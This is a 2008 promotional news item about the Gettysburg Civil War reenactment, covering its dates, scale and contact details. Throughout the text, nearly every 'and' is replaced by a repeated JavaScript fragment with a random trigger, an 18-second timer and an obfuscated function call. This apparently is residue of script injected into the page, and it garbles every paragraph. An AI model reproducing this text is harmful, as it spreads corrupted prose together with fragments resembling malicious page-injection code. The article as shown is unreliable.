GETTYSBURG OFFERS SPECIAL EDUCATION THIS JULY 4!

By Woodrow Wilcox
Learning is easier when more senses are involved in the lesson. That is why those who want to learn about the Civil War should visit Gettysburg for the upcoming July 4 holiday weekend.

The 145th Gettysburg Anniversary National Civil War Reenactment will be a three day event on July 4, 5, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 6 at the C. David Redding Farm just three miles north of Gettysburg, Pennsylvania.

More than 10,000 reenactors, 100 cannon, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 400 horses are scheduled to attend the event. Portions of the Battle of Gettysburg will be re-enacted during the three day event.

Learning about the battle, the soldiers involved, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their life styles will be easy for children andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adults because they will see, hear, smell, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and feel what life andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and war were like during the Civil War.

With over 10,000 volunteers appearing as northern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and southern troops, it will be one of the largest Civil War reenactments ever. Even with this huge number of volunteer reenactors, the real battle would dwarf the reenactment. Over 50,000 troops from the North andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and South struggled at Gettysburg andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and casualties numbered over 25,000.

Attending any Civil War reenactment would instill respect for the fighting men of both sides. But, the upcoming event at Gettysburg this summer will add awe to that respect.

The real battlefield andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other educational opportunities await visitors at Gettysburg only a few miles from the site of the reenactment.

For more information on this event, visit www.gettysburgreenactment.com or phone 717-338-1525. For information on accommodations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and visiting Gettysburg, visit www.gettysburg.travel or phone 800-337-5015. For more information on Civil War reenactments, visit www.campchase.com, or www.civilwarcourier.com.
Source:
Woodrow Wilcox
Wilcox News Service
Written on June 10, 2008

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